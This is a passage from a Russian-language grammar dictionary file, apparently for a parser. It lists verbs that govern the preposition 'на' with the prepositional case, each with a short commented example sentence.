(ОПРОБОВАТЬ, ОТТОЧИТЬ НА предл) rus_verbs:ОТТОЧИТЬ{}, rus_verbs:ДОЛОЖИТЬ{}, // Участникам совещания предложено подготовить по этому вопросу свои предложения и доложить на повторной встрече (ДОЛОЖИТЬ НА предл) rus_verbs:ОБРАЗОВЫВАТЬСЯ{}, // Солевые и пылевые бури , образующиеся на поверхности обнаженной площади моря , уничтожают урожаи и растительность (ОБРАЗОВЫВАТЬСЯ НА) rus_verbs:СОБРАТЬ{}, // использует собранные на местном рынке депозиты (СОБРАТЬ НА предл) инфинитив:НАХОДИТЬСЯ{ вид:несоверш}, // находившихся на борту самолета (НАХОДИТЬСЯ НА предл) глагол:НАХОДИТЬСЯ{ вид:несоверш }, прилагательное:находившийся{ вид:несоверш }, прилагательное:находящийся{ вид:несоверш }, деепричастие:находясь{}, rus_verbs:ГОТОВИТЬ{}, // пищу готовят сами на примусах (ГОТОВИТЬ НА предл) rus_verbs:РАЗДАТЬСЯ{}, // Они сообщили о сильном хлопке , который раздался на территории нефтебазы (РАЗДАТЬСЯ НА) rus_verbs:ПОДСКАЛЬЗЫВАТЬСЯ{}, // подскальзываться на той же апельсиновой корке (ПОДСКАЛЬЗЫВАТЬСЯ НА) rus_verbs:СКРЫТЬСЯ{}, // Германия: латвиец ограбил магазин и попытался скрыться на такси (СКРЫТЬСЯ НА предл) rus_verbs:ВЫРАСТИТЬ{}, // Пациенту вырастили новый нос на руке (ВЫРАСТИТЬ НА) rus_verbs:ПРОДЕМОНСТРИРОВАТЬ{}, // Они хотят подчеркнуть эмоциональную тонкость оппозиционера и на этом фоне продемонстрировать бездушность российской власти (ПРОДЕМОНСТРИРОВАТЬ НА предл) rus_verbs:ОСУЩЕСТВЛЯТЬСЯ{}, // первичный анализ смеси запахов может осуществляться уже на уровне рецепторных нейронов благодаря механизму латерального торможения (ОСУЩЕСТВЛЯТЬСЯ НА) rus_verbs:ВЫДЕЛЯТЬСЯ{}, // Ягоды брусники, резко выделяющиеся своим красным цветом на фоне зелёной листвы, поедаются животными и птицами (ВЫДЕЛЯТЬСЯ НА) rus_verbs:РАСКРЫТЬ{}, // На Украине раскрыто крупное мошенничество в сфере туризма (РАСКРЫТЬ НА) rus_verbs:ОБЖАРИВАТЬСЯ{}, // Омлет обжаривается на сливочном масле с одной стороны, пока он почти полностью не загустеет (ОБЖАРИВАТЬСЯ НА) rus_verbs:ПРИГОТОВЛЯТЬ{}, // Яичница — блюдо европейской кухни, приготовляемое на сковороде из разбитых яиц (ПРИГОТОВЛЯТЬ НА) rus_verbs:РАССАДИТЬ{}, // Женька рассадил игрушки на скамеечке (РАССАДИТЬ НА) rus_verbs:ОБОЖДАТЬ{}, // обожди Анжелу на остановке троллейбуса (ОБОЖДАТЬ НА) rus_verbs:УЧИТЬСЯ{}, // Марина учится на факультете журналистики (УЧИТЬСЯ НА предл) rus_verbs:раскладываться{}, // Созревшие семенные экземпляры раскладывают на солнце или в теплом месте, где они делаются мягкими (РАСКЛАДЫВАТЬСЯ В, НА) rus_verbs:ПОСЛУШАТЬ{}, // Послушайте друзей и врагов на расстоянии! (ПОСЛУШАТЬ НА) rus_verbs:ВЕСТИСЬ{}, // На стороне противника всю ночь велась перегруппировка сил. (ВЕСТИСЬ НА) rus_verbs:ПОИНТЕРЕСОВАТЬСЯ{}, // корреспондент поинтересовался у людей на улице (ПОИНТЕРЕСОВАТЬСЯ НА) rus_verbs:ОТКРЫВАТЬСЯ{}, // Российские биржи открываются на негативном фоне (ОТКРЫВАТЬСЯ НА) rus_verbs:СХОДИТЬ{}, // Вы сходите на следующей остановке? (СХОДИТЬ НА) rus_verbs:ПОГИБНУТЬ{}, // Её отец погиб на войне. (ПОГИБНУТЬ НА) rus_verbs:ВЫЙТИ{}, // Книга выйдет на будущей неделе. (ВЫЙТИ НА предл) rus_verbs:НЕСТИСЬ{}, // Корабль несётся на всех парусах. (НЕСТИСЬ НА предл) rus_verbs:вкалывать{}, // Папа вкалывает на работе, чтобы прокормить семью (вкалывать на) rus_verbs:доказать{}, // разработчики доказали на практике применимость данного подхода к обсчету сцен (доказать на, применимость к) rus_verbs:хулиганить{}, // дозволять кому-то хулиганить на кладбище (хулиганить на) глагол:вычитать{вид:соверш}, инфинитив:вычитать{вид:соверш}, // вычитать на сайте (вычитать на сайте) деепричастие:вычитав{}, rus_verbs:аккомпанировать{}, // он аккомпанировал певцу на губной гармошке (аккомпанировать на) rus_verbs:набрать{}, // статья с заголовком, набранным на компьютере rus_verbs:сделать{}, // книга с иллюстрацией, сделанной на компьютере rus_verbs:развалиться{}, // Антонио развалился на диване rus_verbs:улечься{}, // Антонио улегся на полу rus_verbs:зарубить{}, // Заруби себе на носу. rus_verbs:ценить{}, // Его ценят на заводе. rus_verbs:вернуться{}, // Отец вернулся на закате. rus_verbs:шить{}, // Вы умеете шить на машинке? rus_verbs:бить{}, // Скот бьют на бойне. rus_verbs:выехать{}, // Мы выехали на рассвете. rus_verbs:валяться{}, // На полу валяется бумага. rus_verbs:разложить{}, // она разложила полотенце на песке rus_verbs:заниматься{}, // я занимаюсь на тренажере rus_verbs:позаниматься{}, rus_verbs:порхать{}, // порхать на лугу rus_verbs:пресекать{}, // пресекать на корню rus_verbs:изъясняться{}, // изъясняться на непонятном языке rus_verbs:развесить{}, // развесить на столбах rus_verbs:обрасти{}, // обрасти на южной части rus_verbs:откладываться{}, // откладываться на стенках артерий rus_verbs:уносить{}, // уносить на носилках rus_verbs:проплыть{}, // проплыть на плоту rus_verbs:подъезжать{}, // подъезжать на повозках rus_verbs:пульсировать{}, // пульсировать на лбу rus_verbs:рассесться{}, // птицы расселись на ветках rus_verbs:застопориться{}, // застопориться на первом пункте rus_verbs:изловить{}, // изловить на окраинах rus_verbs:покататься{}, // покататься на машинках rus_verbs:залопотать{}, // залопотать на неизвестном языке rus_verbs:растягивать{}, // растягивать на станке rus_verbs:поделывать{}, // поделывать на пляже rus_verbs:подстеречь{}, // подстеречь на площадке rus_verbs:проектировать{}, // проектировать на компьютере rus_verbs:притулиться{}, // притулиться на кушетке rus_verbs:дозволять{}, // дозволять кому-то хулиганить на кладбище rus_verbs:пострелять{}, // пострелять на испытательном полигоне rus_verbs:засиживаться{}, // засиживаться на работе rus_verbs:нежиться{}, // нежиться на солнышке rus_verbs:притомиться{}, // притомиться на рабочем месте rus_verbs:поселяться{}, // поселяться на чердаке rus_verbs:потягиваться{}, // потягиваться на земле rus_verbs:отлеживаться{}, // отлеживаться на койке rus_verbs:протаранить{}, // протаранить на танке rus_verbs:гарцевать{}, // гарцевать на коне rus_verbs:облупиться{}, // облупиться на носу rus_verbs:оговорить{}, // оговорить на собеседовании rus_verbs:зарегистрироваться{}, // зарегистрироваться на сайте rus_verbs:отпечатать{}, // отпечатать на картоне rus_verbs:сэкономить{}, // сэкономить на мелочах rus_verbs:покатать{}, // покатать на пони rus_verbs:колесить{}, // колесить на старой машине rus_verbs:понастроить{}, // понастроить на участках rus_verbs:поджарить{}, // поджарить на костре rus_verbs:узнаваться{}, // узнаваться на фотографии rus_verbs:отощать{}, // отощать на казенных харчах rus_verbs:редеть{}, // редеть на макушке rus_verbs:оглашать{}, // оглашать на общем собрании rus_verbs:лопотать{}, // лопотать на иврите rus_verbs:пригреть{}, // пригреть на груди rus_verbs:консультироваться{}, // консультироваться на форуме rus_verbs:приноситься{}, // приноситься на одежде rus_verbs:сушиться{}, // сушиться на балконе rus_verbs:наследить{}, // наследить на полу rus_verbs:нагреться{}, // нагреться на солнце rus_verbs:рыбачить{}, // рыбачить на озере rus_verbs:прокатить{}, // прокатить на выборах rus_verbs:запинаться{}, // запинаться на ровном месте rus_verbs:отрубиться{}, // отрубиться на мягкой подушке rus_verbs:заморозить{}, // заморозить на улице rus_verbs:промерзнуть{}, // промерзнуть на открытом воздухе rus_verbs:просохнуть{}, // просохнуть на батарее rus_verbs:развозить{}, // развозить на велосипеде rus_verbs:прикорнуть{}, // прикорнуть на диванчике rus_verbs:отпечататься{}, // отпечататься на коже rus_verbs:выявлять{}, // выявлять на таможне rus_verbs:расставлять{}, // расставлять на башнях rus_verbs:прокрутить{}, // прокрутить на пальце rus_verbs:умываться{}, // умываться на улице rus_verbs:пересказывать{}, // пересказывать на страницах романа rus_verbs:удалять{}, // удалять на пуховике rus_verbs:хозяйничать{}, // хозяйничать на складе rus_verbs:оперировать{}, // оперировать на поле боя rus_verbs:поносить{}, // поносить на голове rus_verbs:замурлыкать{}, // замурлыкать на коленях rus_verbs:передвигать{}, // передвигать на тележке rus_verbs:прочертить{}, // прочертить на земле rus_verbs:колдовать{}, // колдовать на кухне rus_verbs:отвозить{}, // отвозить на казенном транспорте rus_verbs:трахать{}, // трахать на природе rus_verbs:мастерить{}, // мастерить на кухне rus_verbs:ремонтировать{}, // ремонтировать на коленке rus_verbs:развезти{}, // развезти на велосипеде rus_verbs:робеть{}, // робеть на сцене инфинитив:реализовать{ вид:несоверш }, инфинитив:реализовать{ вид:соверш }, // реализовать на сайте глагол:реализовать{ вид:несоверш }, глагол:реализовать{ вид:соверш }, деепричастие:реализовав{}, деепричастие:реализуя{}, rus_verbs:покаяться{}, // покаяться на смертном одре rus_verbs:специализироваться{}, // специализироваться на тестировании rus_verbs:попрыгать{}, // попрыгать на батуте rus_verbs:переписывать{}, // переписывать на столе rus_verbs:расписывать{}, // расписывать на доске rus_verbs:зажимать{}, // зажимать на запястье rus_verbs:практиковаться{}, // практиковаться на мышах rus_verbs:уединиться{}, // уединиться на чердаке rus_verbs:подохнуть{}, // подохнуть на чужбине rus_verbs:приподниматься{}, // приподниматься на руках rus_verbs:уродиться{}, // уродиться на полях rus_verbs:продолжиться{}, // продолжиться на улице rus_verbs:посапывать{}, // посапывать на диване rus_verbs:ободрать{}, // ободрать на спине rus_verbs:скрючиться{}, // скрючиться на песке rus_verbs:тормознуть{}, // тормознуть на перекрестке rus_verbs:лютовать{}, // лютовать на хуторе rus_verbs:зарегистрировать{}, // зарегистрировать на сайте rus_verbs:переждать{}, // переждать на вершине холма rus_verbs:доминировать{}, // доминировать на территории rus_verbs:публиковать{}, // публиковать на сайте rus_verbs:морщить{}, // морщить на лбу rus_verbs:сконцентрироваться{}, // сконцентрироваться на главном rus_verbs:подрабатывать{}, // подрабатывать на рынке rus_verbs:репетировать{}, // репетировать на заднем дворе rus_verbs:подвернуть{}, // подвернуть на брусчатке rus_verbs:зашелестеть{}, // зашелестеть на ветру rus_verbs:расчесывать{}, // расчесывать на спине rus_verbs:одевать{}, // одевать на рынке rus_verbs:испечь{}, // испечь на углях rus_verbs:сбрить{}, // сбрить на затылке rus_verbs:согреться{}, // согреться на печке rus_verbs:замаячить{}, // замаячить на горизонте rus_verbs:пересчитывать{}, // пересчитывать на пальцах rus_verbs:галдеть{}, // галдеть на крыльце rus_verbs:переплыть{}, // переплыть на плоту rus_verbs:передохнуть{}, // передохнуть на скамейке rus_verbs:прижиться{}, // прижиться на ферме rus_verbs:переправляться{}, // переправляться на плотах rus_verbs:накупить{}, // накупить на блошином рынке rus_verbs:проторчать{}, // проторчать на виду rus_verbs:мокнуть{}, // мокнуть на улице rus_verbs:застукать{}, // застукать на камбузе rus_verbs:завязывать{}, // завязывать на ботинках rus_verbs:повисать{}, // повисать на ветке rus_verbs:подвизаться{}, // подвизаться на государственной службе rus_verbs:кормиться{}, // кормиться на болоте rus_verbs:покурить{}, // покурить на улице rus_verbs:зимовать{}, // зимовать на болотах rus_verbs:застегивать{}, // застегивать на гимнастерке rus_verbs:поигрывать{}, // поигрывать на гитаре rus_verbs:погореть{}, // погореть на махинациях с землей rus_verbs:кувыркаться{}, // кувыркаться на батуте rus_verbs:похрапывать{}, // похрапывать на диване rus_verbs:пригревать{}, // пригревать на груди rus_verbs:завязнуть{}, // завязнуть на болоте rus_verbs:шастать{}, // шастать на втором этаже rus_verbs:заночевать{}, // заночевать на сеновале rus_verbs:отсиживаться{}, // отсиживаться на чердаке rus_verbs:мчать{}, // мчать на байке rus_verbs:сгнить{}, // сгнить на урановых рудниках rus_verbs:тренировать{}, // тренировать на манекенах rus_verbs:повеселиться{}, // повеселиться на празднике rus_verbs:измучиться{}, // измучиться на болоте rus_verbs:увянуть{}, // увянуть на подоконнике rus_verbs:раскрутить{}, // раскрутить на оси rus_verbs:выцвести{}, // выцвести на солнечном свету rus_verbs:изготовлять{}, // изготовлять на коленке rus_verbs:гнездиться{}, // гнездиться на вершине дерева rus_verbs:разогнаться{}, // разогнаться на мотоцикле rus_verbs:излагаться{}, // излагаться на страницах доклада rus_verbs:сконцентрировать{}, // сконцентрировать на левом фланге rus_verbs:расчесать{}, // расчесать на макушке rus_verbs:плавиться{}, // плавиться на солнце rus_verbs:редактировать{}, // редактировать на ноутбуке rus_verbs:подскакивать{}, // подскакивать на месте rus_verbs:покупаться{}, // покупаться на рынке rus_verbs:промышлять{}, // промышлять на мелководье rus_verbs:приобретаться{}, // приобретаться на распродажах rus_verbs:наигрывать{}, // наигрывать на банджо rus_verbs:маневрировать{}, // маневрировать на флангах rus_verbs:запечатлеться{}, // запечатлеться на записях камер rus_verbs:укрывать{}, // укрывать на чердаке rus_verbs:подорваться{}, // подорваться на фугасе rus_verbs:закрепиться{}, // закрепиться на занятых позициях rus_verbs:громыхать{}, // громыхать на кухне инфинитив:подвигаться{ вид:соверш }, глагол:подвигаться{ вид:соверш }, // подвигаться на полу деепричастие:подвигавшись{}, rus_verbs:добываться{}, // добываться на территории Анголы rus_verbs:приплясывать{}, // приплясывать на сцене rus_verbs:доживать{}, // доживать на больничной койке rus_verbs:отпраздновать{}, // отпраздновать на работе rus_verbs:сгубить{}, // сгубить на корню rus_verbs:схоронить{}, // схоронить на кладбище rus_verbs:тускнеть{}, // тускнеть на солнце rus_verbs:скопить{}, // скопить на счету rus_verbs:помыть{}, // помыть на своем этаже rus_verbs:пороть{}, // пороть на конюшне rus_verbs:наличествовать{}, // наличествовать на складе rus_verbs:нащупывать{}, // нащупывать на полке rus_verbs:змеиться{}, // змеиться на дне rus_verbs:пожелтеть{}, // пожелтеть на солнце rus_verbs:заостриться{}, // заостриться на конце rus_verbs:свезти{}, // свезти на поле rus_verbs:прочувствовать{}, // прочувствовать на своей шкуре rus_verbs:подкрутить{}, // подкрутить на приборной панели rus_verbs:рубиться{}, // рубиться на мечах rus_verbs:сиживать{}, // сиживать на крыльце rus_verbs:тараторить{}, // тараторить на иностранном языке rus_verbs:теплеть{}, // теплеть на сердце rus_verbs:покачаться{}, // покачаться на ветке rus_verbs:сосредоточиваться{}, // сосредоточиваться на главной задаче rus_verbs:развязывать{}, // развязывать на ботинках rus_verbs:подвозить{}, // подвозить на мотороллере rus_verbs:вышивать{}, // вышивать на рубашке rus_verbs:скупать{}, // скупать на открытом рынке rus_verbs:оформлять{}, // оформлять на встрече rus_verbs:распускаться{}, // распускаться на клумбах rus_verbs:прогореть{}, // прогореть на спекуляциях rus_verbs:приползти{}, // приползти на коленях rus_verbs:загореть{}, // загореть на пляже rus_verbs:остудить{}, // остудить на балконе rus_verbs:нарвать{}, // нарвать на поляне rus_verbs:издохнуть{}, // издохнуть на болоте rus_verbs:разгружать{}, // разгружать на дороге rus_verbs:произрастать{}, // произрастать на болотах rus_verbs:разуться{}, // разуться на коврике rus_verbs:сооружать{}, // сооружать на площади rus_verbs:зачитывать{}, // зачитывать на митинге rus_verbs:уместиться{}, // уместиться на ладони rus_verbs:закупить{}, // закупить на рынке rus_verbs:горланить{}, // горланить на улице rus_verbs:экономить{}, // экономить на спичках rus_verbs:исправлять{}, // исправлять на доске rus_verbs:расслабляться{}, // расслабляться на лежаке rus_verbs:скапливаться{}, // скапливаться на крыше rus_verbs:сплетничать{}, // сплетничать на скамеечке rus_verbs:отъезжать{}, // отъезжать на лимузине rus_verbs:отчитывать{}, // отчитывать на собрании rus_verbs:сфокусировать{}, // сфокусировать на удаленной точке rus_verbs:потчевать{}, // потчевать на лаврах rus_verbs:окопаться{}, // окопаться на окраине rus_verbs:загорать{}, // загорать на пляже rus_verbs:обгореть{}, // обгореть на солнце rus_verbs:распознавать{}, // распознавать на фотографии rus_verbs:заплетаться{}, // заплетаться на макушке rus_verbs:перегреться{}, // перегреться на жаре rus_verbs:подметать{}, // подметать на крыльце rus_verbs:нарисоваться{}, // нарисоваться на горизонте rus_verbs:проскакивать{}, // проскакивать на экране rus_verbs:попивать{}, // попивать на балконе чай rus_verbs:отплывать{}, // отплывать на лодке rus_verbs:чирикать{}, // чирикать на ветках rus_verbs:скупить{}, // скупить на оптовых базах rus_verbs:наколоть{}, // наколоть на коже картинку rus_verbs:созревать{}, // созревать на ветке rus_verbs:проколоться{}, // проколоться на мелочи rus_verbs:крутнуться{}, // крутнуться на заднем колесе rus_verbs:переночевать{}, // переночевать на постоялом дворе rus_verbs:концентрироваться{}, // концентрироваться на фильтре rus_verbs:одичать{}, // одичать на хуторе rus_verbs:спасаться{}, // спасаются на лодке rus_verbs:доказываться{}, // доказываться на страницах книги rus_verbs:познаваться{}, // познаваться на ринге rus_verbs:замыкаться{}, // замыкаться на металлическом предмете rus_verbs:заприметить{}, // заприметить на пригорке rus_verbs:продержать{}, // продержать на морозе rus_verbs:форсировать{}, // форсировать на плотах rus_verbs:сохнуть{}, // сохнуть на солнце rus_verbs:выявить{}, // выявить на поверхности rus_verbs:заседать{}, // заседать на кафедре rus_verbs:расплачиваться{}, // расплачиваться на выходе rus_verbs:светлеть{}, // светлеть на горизонте rus_verbs:залепетать{}, // залепетать на незнакомом языке rus_verbs:подсчитывать{}, // подсчитывать на пальцах rus_verbs:зарыть{}, // зарыть на пустыре rus_verbs:сформироваться{}, // сформироваться на месте rus_verbs:развертываться{}, // развертываться на площадке rus_verbs:набивать{}, // набивать на манекенах rus_verbs:замерзать{}, // замерзать на ветру rus_verbs:схватывать{}, // схватывать на лету rus_verbs:перевестись{}, // перевестись на Руси rus_verbs:смешивать{}, // смешивать на блюдце rus_verbs:прождать{}, // прождать на входе rus_verbs:мерзнуть{}, // мерзнуть на ветру rus_verbs:растирать{}, // растирать на коже rus_verbs:переспать{}, // переспал на сеновале rus_verbs:рассекать{}, // рассекать на скутере rus_verbs:опровергнуть{}, // опровергнуть на высшем уровне rus_verbs:дрыхнуть{}, // дрыхнуть на диване rus_verbs:распять{}, // распять на кресте rus_verbs:запечься{}, // запечься на костре rus_verbs:застилать{}, // застилать на балконе rus_verbs:сыскаться{}, // сыскаться на огороде rus_verbs:разориться{}, // разориться на продаже спичек rus_verbs:переделать{}, // переделать на станке rus_verbs:разъяснять{}, // разъяснять на страницах газеты rus_verbs:поседеть{}, // поседеть на висках rus_verbs:протащить{}, // протащить на спине rus_verbs:осуществиться{}, // осуществиться на деле rus_verbs:селиться{}, // селиться на окраине rus_verbs:оплачивать{}, // оплачивать на первой кассе rus_verbs:переворачивать{}, // переворачивать на сковородке rus_verbs:упражняться{}, // упражняться на батуте rus_verbs:испробовать{}, // испробовать на себе rus_verbs:разгладиться{}, // разгладиться на спине rus_verbs:рисоваться{}, // рисоваться на стекле rus_verbs:продрогнуть{}, // продрогнуть на морозе rus_verbs:пометить{}, // пометить на доске rus_verbs:приютить{}, // приютить на чердаке rus_verbs:избирать{}, // избирать на первых свободных выборах rus_verbs:затеваться{}, // затеваться на матче rus_verbs:уплывать{}, // уплывать на катере rus_verbs:замерцать{}, // замерцать на рекламном щите rus_verbs:фиксироваться{}, // фиксироваться на достигнутом уровне rus_verbs:запираться{}, // запираться на чердаке rus_verbs:загубить{}, // загубить на корню rus_verbs:развеяться{}, // развеяться на природе rus_verbs:съезжаться{}, // съезжаться на лимузинах rus_verbs:потанцевать{}, // потанцевать на могиле rus_verbs:дохнуть{}, // дохнуть на солнце rus_verbs:припарковаться{}, // припарковаться на газоне rus_verbs:отхватить{}, // отхватить на распродаже rus_verbs:остывать{}, // остывать на улице rus_verbs:переваривать{}, // переваривать на высокой ветке rus_verbs:подвесить{}, // подвесить на веревке rus_verbs:хвастать{}, // хвастать на работе rus_verbs:отрабатывать{}, // отрабатывать на уборке урожая rus_verbs:разлечься{}, // разлечься на полу rus_verbs:очертить{}, // очертить на полу rus_verbs:председательствовать{}, // председательствовать на собрании rus_verbs:сконфузиться{}, // сконфузиться на сцене rus_verbs:выявляться{}, // выявляться на ринге rus_verbs:крутануться{}, // крутануться на заднем колесе rus_verbs:караулить{}, // караулить на входе rus_verbs:перечислять{}, // перечислять на пальцах rus_verbs:обрабатывать{}, // обрабатывать на станке rus_verbs:настигать{}, // настигать на берегу rus_verbs:разгуливать{}, // разгуливать на берегу rus_verbs:насиловать{}, // насиловать на пляже rus_verbs:поредеть{}, // поредеть на макушке rus_verbs:учитывать{}, // учитывать на балансе rus_verbs:зарождаться{}, // зарождаться на большой глубине rus_verbs:распространять{}, // распространять на сайтах rus_verbs:пировать{}, // пировать на вершине холма rus_verbs:начертать{}, // начертать на стене rus_verbs:расцветать{}, // расцветать на подоконнике rus_verbs:умнеть{}, // умнеть на глазах rus_verbs:царствовать{}, // царствовать на окраине rus_verbs:закрутиться{}, // закрутиться на работе rus_verbs:отработать{}, // отработать на шахте rus_verbs:полечь{}, // полечь на поле брани rus_verbs:щебетать{}, // щебетать на ветке rus_verbs:подчеркиваться{}, // подчеркиваться на сайте rus_verbs:посеять{}, // посеять на другом поле rus_verbs:замечаться{}, // замечаться на пастбище rus_verbs:просчитать{}, // просчитать на пальцах rus_verbs:голосовать{}, // голосовать на трассе rus_verbs:маяться{}, // маяться на пляже rus_verbs:сколотить{}, // сколотить на службе rus_verbs:обретаться{}, // обретаться на чужбине rus_verbs:обливаться{}, // обливаться на улице rus_verbs:катать{}, // катать на лошадке rus_verbs:припрятать{}, // припрятать на теле rus_verbs:запаниковать{}, // запаниковать на экзамене инфинитив:слетать{ вид:соверш }, глагол:слетать{ вид:соверш }, // слетать на частном самолете деепричастие:слетав{}, rus_verbs:срубить{}, // срубить денег на спекуляциях rus_verbs:зажигаться{}, // зажигаться на улице rus_verbs:жарить{}, // жарить на углях rus_verbs:накапливаться{}, // накапливаться на счету rus_verbs:распуститься{}, // распуститься на грядке rus_verbs:рассаживаться{}, // рассаживаться на местах rus_verbs:странствовать{}, // странствовать на лошади rus_verbs:осматриваться{}, // осматриваться на месте rus_verbs:разворачивать{}, // разворачивать на завоеванной территории rus_verbs:согревать{}, // согревать на вершине горы rus_verbs:заскучать{}, // заскучать на вахте rus_verbs:перекусить{}, // перекусить на бегу rus_verbs:приплыть{}, // приплыть на тримаране rus_verbs:зажигать{}, // зажигать на танцах rus_verbs:закопать{}, // закопать на поляне rus_verbs:стирать{}, // стирать на берегу rus_verbs:подстерегать{}, // подстерегать на подходе rus_verbs:погулять{}, // погулять на свадьбе rus_verbs:огласить{}, // огласить на митинге rus_verbs:разбогатеть{}, // разбогатеть на прииске rus_verbs:грохотать{}, // грохотать на чердаке rus_verbs:расположить{}, // расположить на границе rus_verbs:реализоваться{}, // реализоваться на новой работе rus_verbs:застывать{}, // застывать на морозе rus_verbs:запечатлеть{}, // запечатлеть на пленке rus_verbs:тренироваться{}, // тренироваться на манекене rus_verbs:поспорить{}, // поспорить на совещании rus_verbs:затягивать{}, // затягивать на поясе rus_verbs:зиждиться{}, // зиждиться на твердой основе rus_verbs:построиться{}, // построиться на песке rus_verbs:надрываться{}, // надрываться на работе rus_verbs:закипать{}, // закипать на плите rus_verbs:затонуть{}, // затонуть на мелководье rus_verbs:побыть{}, // побыть на фазенде rus_verbs:сгорать{}, // сгорать на солнце инфинитив:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="поп^исать" }, // пописать на улице деепричастие:пописав{ aux stress="поп^исав" }, rus_verbs:подраться{}, // подраться на сцене rus_verbs:заправить{}, // заправить на последней заправке rus_verbs:обозначаться{}, // обозначаться на карте rus_verbs:просиживать{}, // просиживать на берегу rus_verbs:начертить{}, // начертить на листке rus_verbs:тормозить{}, // тормозить на льду rus_verbs:затевать{}, // затевать на космической базе rus_verbs:задерживать{}, // задерживать на таможне rus_verbs:прилетать{}, // прилетать на частном самолете rus_verbs:полулежать{}, // полулежать на травке rus_verbs:ерзать{}, // ерзать на табуретке rus_verbs:покопаться{}, // покопаться на складе rus_verbs:подвезти{}, // подвезти на машине rus_verbs:полежать{}, // полежать на водном матрасе rus_verbs:стыть{}, // стыть на улице rus_verbs:стынуть{}, // стынуть на улице rus_verbs:скреститься{}, // скреститься на груди rus_verbs:припарковать{}, // припарковать на стоянке rus_verbs:здороваться{}, // здороваться на кафедре rus_verbs:нацарапать{}, // нацарапать на парте rus_verbs:откопать{}, // откопать на поляне rus_verbs:смастерить{}, // смастерить на коленках rus_verbs:довезти{}, // довезти на машине rus_verbs:избивать{}, // избивать на крыше rus_verbs:сварить{}, // сварить на костре rus_verbs:истребить{}, // истребить на корню rus_verbs:раскопать{}, // раскопать на болоте rus_verbs:попить{}, // попить на кухне rus_verbs:заправлять{}, // заправлять на базе rus_verbs:кушать{}, // кушать на кухне rus_verbs:замолкать{}, // замолкать на половине фразы rus_verbs:измеряться{}, // измеряться на весах rus_verbs:сбываться{}, // сбываться на самом деле rus_verbs:изображаться{}, // изображается на сцене rus_verbs:фиксировать{}, // фиксировать на данной высоте rus_verbs:ослаблять{}, // ослаблять на шее rus_verbs:зреть{}, // зреть на грядке rus_verbs:зеленеть{}, // зеленеть на грядке rus_verbs:критиковать{}, // критиковать на страницах газеты rus_verbs:облететь{}, // облететь на самолете rus_verbs:заразиться{}, // заразиться на работе rus_verbs:рассеять{}, // рассеять на территории rus_verbs:печься{}, // печься на костре rus_verbs:поспать{}, // поспать на земле rus_verbs:сплетаться{}, // сплетаться на макушке rus_verbs:удерживаться{}, // удерживаться на расстоянии rus_verbs:помешаться{}, // помешаться на чистоте rus_verbs:ликвидировать{}, // ликвидировать на полигоне rus_verbs:проваляться{}, // проваляться на диване rus_verbs:лечиться{}, // лечиться на дому rus_verbs:обработать{}, // обработать на станке rus_verbs:защелкнуть{}, // защелкнуть на руках rus_verbs:разносить{}, // разносить на одежде rus_verbs:чесать{}, // чесать на груди rus_verbs:наладить{}, // наладить на конвейере выпуск rus_verbs:отряхнуться{}, // отряхнуться на улице rus_verbs:разыгрываться{}, // разыгрываться на скачках rus_verbs:обеспечиваться{}, // обеспечиваться на выгодных условиях rus_verbs:греться{}, // греться на вокзале rus_verbs:засидеться{}, // засидеться на одном месте rus_verbs:материализоваться{}, // материализоваться на границе rus_verbs:рассеиваться{}, // рассеиваться на высоте вершин rus_verbs:перевозить{}, // перевозить на платформе rus_verbs:поиграть{}, // поиграть на скрипке rus_verbs:потоптаться{}, // потоптаться на одном месте rus_verbs:переправиться{}, // переправиться на плоту rus_verbs:забрезжить{}, // забрезжить на горизонте rus_verbs:завывать{}, // завывать на опушке rus_verbs:заваривать{}, // заваривать на кухоньке rus_verbs:перемещаться{}, // перемещаться на спасательном плоту инфинитив:писаться{ aux stress="пис^аться" }, глагол:писаться{ aux stress="пис^аться" }, // писаться на бланке rus_verbs:праздновать{}, // праздновать на улицах rus_verbs:обучить{}, // обучить на корте rus_verbs:орудовать{}, // орудовать на складе rus_verbs:подрасти{}, // подрасти на глядке rus_verbs:шелестеть{}, // шелестеть на ветру rus_verbs:раздеваться{}, // раздеваться на публике rus_verbs:пообедать{}, // пообедать на газоне rus_verbs:жрать{}, // жрать на помойке rus_verbs:исполняться{}, // исполняться на флейте rus_verbs:похолодать{}, // похолодать на улице rus_verbs:гнить{}, // гнить на каторге rus_verbs:прослушать{}, // прослушать на концерте rus_verbs:совещаться{}, // совещаться на заседании rus_verbs:покачивать{}, // покачивать на волнах rus_verbs:отсидеть{}, // отсидеть на гаупвахте rus_verbs:формировать{}, // формировать на секретной базе rus_verbs:захрапеть{}, // захрапеть на кровати rus_verbs:объехать{}, // объехать на попутке rus_verbs:поселить{}, // поселить на верхних этажах rus_verbs:заворочаться{}, // заворочаться на сене rus_verbs:напрятать{}, // напрятать на теле rus_verbs:очухаться{}, // очухаться на земле rus_verbs:полистать{}, // полистать на досуге rus_verbs:завертеть{}, // завертеть на шесте rus_verbs:печатать{}, // печатать на ноуте rus_verbs:отыскаться{}, // отыскаться на складе rus_verbs:зафиксировать{}, // зафиксировать на пленке rus_verbs:расстилаться{}, // расстилаться на столе rus_verbs:заместить{}, // заместить на посту rus_verbs:угасать{}, // угасать на неуправляемом корабле rus_verbs:сразить{}, // сразить на ринге rus_verbs:расплываться{}, // расплываться на жаре rus_verbs:сосчитать{}, // сосчитать на пальцах rus_verbs:сгуститься{}, // сгуститься на небольшой высоте rus_verbs:цитировать{}, // цитировать на плите rus_verbs:ориентироваться{}, // ориентироваться на местности rus_verbs:расширить{}, // расширить на другом конце rus_verbs:обтереть{}, // обтереть на стоянке rus_verbs:подстрелить{}, // подстрелить на охоте rus_verbs:растереть{}, // растереть на твердой поверхности rus_verbs:подавлять{}, // подавлять на первом этапе rus_verbs:смешиваться{}, // смешиваться на поверхности // инфинитив:вычитать{ aux stress="в^ычитать" }, глагол:вычитать{ aux stress="в^ычитать" }, // вычитать на сайте // деепричастие:вычитав{}, rus_verbs:сократиться{}, // сократиться на втором этапе rus_verbs:занервничать{}, // занервничать на экзамене rus_verbs:соприкоснуться{}, // соприкоснуться на трассе rus_verbs:обозначить{}, // обозначить на плане rus_verbs:обучаться{}, // обучаться на производстве rus_verbs:снизиться{}, // снизиться на большой высоте rus_verbs:простудиться{}, // простудиться на ветру rus_verbs:поддерживаться{}, // поддерживается на встрече rus_verbs:уплыть{}, // уплыть на лодочке rus_verbs:резвиться{}, // резвиться на песочке rus_verbs:поерзать{}, // поерзать на скамеечке rus_verbs:похвастаться{}, // похвастаться на встрече rus_verbs:знакомиться{}, // знакомиться на уроке 